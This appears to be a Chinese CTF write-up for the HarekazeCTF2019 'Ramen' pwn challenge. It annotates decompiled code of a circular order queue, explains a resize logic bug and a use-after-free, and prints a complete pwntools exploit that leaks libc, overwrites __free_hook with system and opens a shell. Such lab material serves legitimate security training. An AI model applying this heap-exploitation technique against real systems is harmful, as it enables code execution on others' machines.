[BUUCTF-pwn] [HarekazeCTF2019]Ramen

看exp再慢慢消化。逻辑错造成的指针溢出。

这个题虽然有UAF但是利用起来很困难,本来不想看那么长的程序,没办法看程序再看了exp后才明白。

程序分主程序和order,serv,change 三个函数,主程序没啥内容,但是循环队列的指针v4放在这了。v4依次表示队列块指针,头id,尾id和总长度。

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  int v3; // eax
  char v4[24]; // [rsp+0h] [rbp-20h] BYREF
  unsigned __int64 v5; // [rsp+18h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  sub_B34(a1, a2, a3);
  sub_D2F((__int64)v4);
  puts("Welcome to Harekaze Ramen Shop!!");
  while ( 1 )
  {
    v3 = menu();
    switch ( v3 )
    {
      case 2:
        m2serve(v4);                            // 输出并free name
        break;
      case 3:
        m3change(v4);                           // 改变窗口大小 2** 最大31
        break;
      case 1:
        m1order(v4);                            // 订单
        break;
    }
  }
}

order就是新增订单:

内容有点长,然后一点点加注释也就明白了。每次加订单会在尾指针处写入订单信息,然后尾指针后移(空尾)。

unsigned __int64 __fastcall sub_11A3(__int64 a1)
{
  _QWORD *v1; // rcx
  __int64 v2; // rdx
  void *v3; // rdx
  int v5; // [rsp+1Ch] [rbp-44h]
  __int64 v6; // [rsp+20h] [rbp-40h]
  __int64 v7; // [rsp+28h] [rbp-38h]
  __int64 v8; // [rsp+30h] [rbp-30h]
  __int64 v9[2]; // [rsp+38h] [rbp-28h] BYREF
  void *s; // [rsp+48h] [rbp-18h]
  unsigned __int64 v11; // [rsp+58h] [rbp-8h]

  v11 = __readfsqword(0x28u);
  if ( (*(_DWORD *)(a1 + 12) + *(_DWORD *)(a1 + 16) - *(_DWORD *)(a1 + 8)) % *(_DWORD *)(a1 + 16) == *(_DWORD *)(a1 + 16) - 1 )
  {
    puts("Seats are full.");                    // end+total - (end%total) == total -1 :空间满
  }
  else
  {
    v5 = sub_CC8();
    if ( v5 > 0 && v5 <= 5 )                    // 用哪个串无意义,pork的位置伪造chunk头
    {
      memset(v9, 0, sizeof(v9));
      strcpy((char *)v9, &aSoySauce[16 * v5 - 16]);
      printf("How many eggs? ");
      v6 = getnum();
      printf("How many grilled pork? ");
      v7 = getnum();
      printf("How many bamboo shoots? ");
      v8 = getnum();
      printf("If you want other toppings, put them down: ");
      s = malloc(0x20uLL);
      memset(s, 0, 0x20uLL);
      readstr(s, 32LL);
      v1 = (_QWORD *)(48LL * *(int *)(a1 + 12) + *(_QWORD *)a1);// 在空尾写入,尾指针+1
      *v1 = v6;
      v1[1] = v7;
      v2 = v9[0];
      v1[2] = v8;
      v1[3] = v2;
      v3 = s;
      v1[4] = v9[1];
      v1[5] = v3;
      *(_DWORD *)(a1 + 12) = (*(_DWORD *)(a1 + 12) + 1) % *(_DWORD *)(a1 + 16);// 更新尾指针 尾 = (尾+1)%total
      puts("Done.");
    }
    else
    {
      puts("Invalid choice.");
    }
  }
  return __readfsqword(0x28u) ^ v11;
}

serve是处理订单:

这里引入的名字块会被free但指针保留,不过这个指针由于头指针已经发生变化,这个不能直接用。

int __fastcall m2serve(__int64 a1)
{
  __int64 v2; // [rsp+18h] [rbp-8h]

  if ( *(_DWORD *)(a1 + 8) == *(_DWORD *)(a1 + 12) )// 头==尾, 队列空
    return puts("No order remains.");
  v2 = *(_QWORD *)a1 + 48LL * *(int *)(a1 + 8); // 输出头块
  *(_DWORD *)(a1 + 8) = (*(_DWORD *)(a1 + 8) + 1) % *(_DWORD *)(a1 + 16);// 指针后移
  printf("Serving %s Ramen...\n", (const char *)(v2 + 24));
  printf("Eggs: %d\n", (unsigned int)*(_QWORD *)v2);
  printf("Grilled pork: %d\n", (unsigned int)*(_QWORD *)(v2 + 8));
  printf("Bamboo shoots: %d\n", (unsigned int)*(_QWORD *)(v2 + 16));
  printf("Other toppings: %s\n", *(const char **)(v2 + 40));
  free(*(void **)(v2 + 40));  // 删除头块对应堆块,但不删除指针,当指针错误地指向删除块时可使用UAF
  return puts("Done.");
}

第3个change是变更队列空间:

并调用变大和变小两个函数。>=时调用变大,由于=时也会调用变大,漏洞就出来了。

当变大里会把原数据重复制一下,这里有个漏洞:当新空间与原空间相同时也会执行尾部后移操作,这样尾部就移出了空间造成溢出。通过移出的这个块写size为指定值来覆盖原chunk在释放时会将块数据部分改为unsortbin的fd,bk指针。

int __fastcall m3change(_DWORD *a1)
{
  int v2; // [rsp+18h] [rbp-8h]
  int v3; // [rsp+1Ch] [rbp-4h]

  printf("Number of seats: ");
  v2 = getnum() + 1;
  if ( v2 <= 1 || v2 > 32 )
    return puts("Invalid input.");
  v3 = getbitord(v2);
  if ( v2 >= a1[4] )
  {
    change_big((__int64)a1, v3);                // 原大小是8,最大可变成32(2**5)realloc
  }
  else
  {
    if ( v2 <= (a1[3] + a1[4] - a1[2]) % a1[4] )// 新大小不能小于已有订单数
      return printf("Less than the number of remaining orders.");
    chanage_small((__int64)a1, v3);             // realloc 清空无用订单,缩小块
  }
  return puts("Done.");
}
__int64 __fastcall change_big(__int64 a1, int a2)
{
  __int64 result; // rax
  _QWORD *v3; // rsi
  _QWORD *v4; // rcx
  __int64 v5; // rdx
  __int64 v6; // rdx
  __int64 v7; // rdx
  _QWORD *v8; // rsi
  _QWORD *v9; // rcx
  __int64 v10; // rdx
  __int64 v11; // rdx
  __int64 v12; // rdx
  int j; // [rsp+18h] [rbp-18h]
  int i; // [rsp+1Ch] [rbp-14h]
  unsigned int i_head; // [rsp+20h] [rbp-10h]
  int i_tail; // [rsp+24h] [rbp-Ch]
  int i_total; // [rsp+28h] [rbp-8h]
  int i_add; // [rsp+2Ch] [rbp-4h]
                                                // 当size不变时也会进入此函数
  i_head = *(_DWORD *)(a1 + 8);                 // 头
  i_tail = *(_DWORD *)(a1 + 12);                // 尾
  i_total = *(_DWORD *)(a1 + 16);               // 总数
  *(_QWORD *)a1 = realloc(*(void **)a1, 48LL * a2);// 扩大原块
  *(_DWORD *)(a1 + 16) = a2;                    // total = 新大小
  result = i_head;
  if ( (int)i_head > i_tail )                   // 头在尾前  ooT....Hoo
  {
    if ( i_tail >= (int)(i_total - i_head) )    // 尾一半大于头一半
    {
      i_add = a2 - i_total;                     // 增加的空间块数
      for ( i = i_head; i < i_total; ++i )      // 将头块后移到尾  [ooT...Ho]->[ooT...XXXXXXXXHo]
      {
        v8 = (_QWORD *)(*(_QWORD *)a1 + 48LL * i);
        v9 = (_QWORD *)(48LL * (i + i_add) + *(_QWORD *)a1);
        v10 = v8[1];
        *v9 = *v8;
        v9[1] = v10;
        v11 = v8[3];
        v9[2] = v8[2];
        v9[3] = v11;
        v12 = v8[5];
        v9[4] = v8[4];
        v9[5] = v12;
      }
      result = a1;
      *(_DWORD *)(a1 + 8) += i_add;
    }
    else
    {
      for ( j = 0; j < i_tail; ++j )            // 头半块大,尾半块小[oT...Hoo]->[XX...HoooTXXXXX]
      {                                         // 当size不变时,这里会把尾部向后复制,溢出数据区
        v3 = (_QWORD *)(*(_QWORD *)a1 + 48LL * j);
        v4 = (_QWORD *)(48LL * (j + i_total) + *(_QWORD *)a1);
        v5 = v3[1];
        *v4 = *v3;
        v4[1] = v5;
        v6 = v3[3];
        v4[2] = v3[2];
        v4[3] = v6;
        v7 = v3[5];
        v4[4] = v3[4];
        v4[5] = v7;
      }
      result = a1;
      *(_DWORD *)(a1 + 12) += i_total;
    }
  }
  return result;
}
__int64 __fastcall chanage_small(__int64 a1, int new_size)
{
  _QWORD *v2; // rsi
  _QWORD *v3; // rcx
  __int64 v4; // rdx
  __int64 v5; // rdx
  __int64 v6; // rdx
  _QWORD *v7; // rsi
  _QWORD *v8; // rcx
  __int64 v9; // rdx
  __int64 v10; // rdx
  __int64 v11; // rdx
  _QWORD *v12; // rsi
  _QWORD *v13; // rcx
  __int64 v14; // rdx
  __int64 v15; // rdx
  __int64 v16; // rdx
  __int64 result; // rax
  int v18; // [rsp+4h] [rbp-2Ch]
  int k; // [rsp+14h] [rbp-1Ch]
  int j; // [rsp+18h] [rbp-18h]
  int i; // [rsp+1Ch] [rbp-14h]
  int i_head; // [rsp+20h] [rbp-10h]
  int i_tail; // [rsp+24h] [rbp-Ch]
  int i_total; // [rsp+28h] [rbp-8h]
  int v25; // [rsp+2Ch] [rbp-4h]

  v18 = new_size;
  i_head = *(_DWORD *)(a1 + 8);                 // 头
  i_tail = *(_DWORD *)(a1 + 12);                // 尾
  i_total = *(_DWORD *)(a1 + 16);               // 总数
  if ( i_tail >= i_head )                       // [...HoooT..]
  {
    if ( i_head < new_size )
    {
      if ( i_tail >= new_size )                 // [...Hoo|oT....]-> [oT.Hoo]XXXXXXXX
      {
        for ( i = new_size; i < i_tail; ++i )
        {
          v12 = (_QWORD *)(*(_QWORD *)a1 + 48LL * i);
          v13 = (_QWORD *)(48LL * (i - v18) + *(_QWORD *)a1);
          v14 = v12[1];
          *v13 = *v12;
          v13[1] = v14;
          v15 = v12[3];
          v13[2] = v12[2];
          v13[3] = v15;
          v16 = v12[5];
          v13[4] = v12[4];
          v13[5] = v16;
        }
        *(_DWORD *)(a1 + 12) -= v18;
      }
    }
    else                                        // [........|.HoooT..] -> [HoooT...]XXXXXXXX
    {
      for ( j = *(_DWORD *)(a1 + 8); j < i_tail; ++j )
      {
        v7 = (_QWORD *)(*(_QWORD *)a1 + 48LL * j);
        v8 = (_QWORD *)(48LL * (j - i_head) + *(_QWORD *)a1);
        v9 = v7[1];
        *v8 = *v7;
        v8[1] = v9;
        v10 = v7[3];
        v8[2] = v7[2];
        v8[3] = v10;
        v11 = v7[5];
        v8[4] = v7[4];
        v8[5] = v11;
      }
      *(_DWORD *)(a1 + 12) -= *(_DWORD *)(a1 + 8);
      *(_DWORD *)(a1 + 8) = 0;
    }
  }
  else                                          // 尾在前  [oT......|.....Hoo]->[oT...Hoo]XXXXXXXX
  {
    v25 = i_total - new_size;
    for ( k = *(_DWORD *)(a1 + 8); k < i_total; ++k )
    {
      v2 = (_QWORD *)(*(_QWORD *)a1 + 48LL * k);
      v3 = (_QWORD *)(48LL * (k - v25) + *(_QWORD *)a1);
      v4 = v2[1];
      *v3 = *v2;
      v3[1] = v4;
      v5 = v2[3];
      v3[2] = v2[2];
      v3[3] = v5;
      v6 = v2[5];
      v3[4] = v2[4];
      v3[5] = v6;
    }
    *(_DWORD *)(a1 + 8) -= v25;
  }
  *(_QWORD *)a1 = realloc(*(void **)a1, 48LL * v18);
  result = a1;
  *(_DWORD *)(a1 + 16) = v18;
  return result;
}

利用有两次:

第一次先对原始空间扩大再缩小将多余部分放入unsort,再新增订单时会从这个unsort里分配,将块分布写成[T...Ho],这个块在change原大小时尾部的fork会被覆盖size在释放时被放入第2个unsort。再通过缩小块将块进行整理,将块数据复制到正常位置,serv时将其打印出来,得到libc。

第二次先将空间调回8,由于原空间大小不够会从第1个unsort里分配,同样将块写成头大尾小的样子在同大小change里将尾放到超过总长度的位置。这时候头是7,尾是8(占第9格)总数是8,当释放时将释放7,0,1...这样前边块里未清空的相同的指针被多次释放形成loop,利用这个loop新建块写system到_free_hook上。

 原exp:

from pwn import *
'''
struct{egg:8,pork:8,shoots:8,flavor:16,ptr->topping}
gef➤  x/3wx 0x00007fffffffdf88 rsp+8,+12,+16
0x7fffffffdf88:	0x00000000	0x00000003	0x00000008
                start       end         total
'''
def order(toppings=b'A', eggs=0, porks=0, bamboo_shoots=0, flavor=1):
    s.sendlineafter(b'Choice: ', b'1')
    s.sendlineafter(b'Choice: ', str(flavor).encode())
    s.sendlineafter(b'eggs? ', str(eggs).encode())
    s.sendlineafter(b'pork? ', str(porks).encode())
    s.sendlineafter(b'shoots? ', str(bamboo_shoots).encode())
    s.sendafter(b'down: ', toppings)

def serve():
    s.sendlineafter(b'Choice: ', b'2')
    s.recvuntil(b'Serving ')
    name = s.recvuntil(b' ')[:-1]
    s.recvuntil(b'Eggs: ')
    eggs = int(s.recvline(False))
    s.recvuntil(b'pork: ')
    porks = int(s.recvline(False))
    s.recvuntil(b'shoots: ')
    bamboo_shoots = int(s.recvline(False))
    s.recvuntil(b'toppings: ')
    toppings = s.recvline(False)
    return name, eggs, porks, bamboo_shoots, toppings

def change(num):
    s.sendlineafter(b'Choice: ', b'3')
    s.sendlineafter(b'seats: ', str(num).encode())

local = 1
if local == 1:
    s = process('./pwn')
    libc = ELF('/home/shi/pwn/libc6_2.27-3u1/lib64/libc-2.27.so')
else:
    s = remote('node4.buuoj.cn', 28253)
    libc = ELF('../libc6_2.27-3ubuntu1_amd64.so')

change(0x1f) # chunk0 0x190->0x610
for i in range(6):  #add chunk 0x30 *6
    order()
change(7) #chunk0 0x610->0x190  unsortbin 0x480
order() ##7 0x30 from 0x480
serve() #free #0
order() #add #0 head 0x30 pre_inuse=0
serve() #free #1
order(b'A', 0, 0x4b1) # #0
change(7) #chunk7 head = 0x4b1 chunk6->3f0 unsort 0x3e0 0x4b0
for i in range(5):
    serve()
change(3)

serve()
libc_base = u64(serve()[0].ljust(8, b'\0')) - 0x60 -0x10 - libc.sym['__malloc_hook']
log.info('libc base: %#x' % libc_base)

change(7)
pause()

for i in range(0xd):
    order()
    serve()

order()
change(7)
for i in range(3):
    serve()
change(0xf)

order(p64(libc_base + libc.symbols['__free_hook']))
order(b'/bin/sh\0')
order(p64(libc_base + libc.symbols['system']))
serve()
s.interactive()

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值